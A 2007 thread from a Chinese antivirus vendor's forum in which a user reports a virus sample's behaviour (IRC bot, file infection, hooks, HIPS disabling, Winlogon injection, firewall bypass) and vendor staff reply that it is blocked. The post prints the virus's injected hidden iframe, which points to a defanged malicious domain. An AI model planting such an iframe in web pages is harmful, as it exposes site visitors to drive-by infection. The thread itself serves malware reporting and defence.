标题: 强毒报的应该不少了谁能分析下?我是跟不全 [打印本页]

---

作者: zhaojpn     时间: 2007-10-14 15:55    标题: 强毒报的应该不少了谁能分析下?我是跟不全

1、IRCbot

2、感染文件（判断系统文件感染（跳过），系统盘一样遭殃，捆绑，感染标记PADDINGXXPADDING……）

3、Hook（不记得哪几个了），好像是进程启动和读取等几个函数

4、破坏HIPS驱动（EQ、SSM均失效），原理不懂，还是恢复了SSDT挂钩？

5、往Winlogon写入代码，并直接获取系统内存。

6、添加到系统防火墙的忽略列表（穿墙）。

7、查找硬盘网页，插入JS代码：

<iframe src="hXXp://ntkrnlpa.info/rc/?i=1" width=1 height=1 style="border:0"></iframe>
</BODY>
</HTML>


还漏了不少,谁拿去分析!!
PS:密码virus
已上报至微点邮箱

---

作者: Legend     时间: 2007-10-14 16:03
谢谢楼主的反馈，我们会尽快分析处理。

---

作者: Legend     时间: 2007-10-18 17:11
谢谢楼主的反馈。经微点专业人员测试，该病毒运行后微点可以正常报警并拦截。
请楼主将微点升级至最新版本测试。
本主题暂作关闭处理，如有问题，请另开新帖讨论。

---

欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/)

bbs.micropoint.com.cn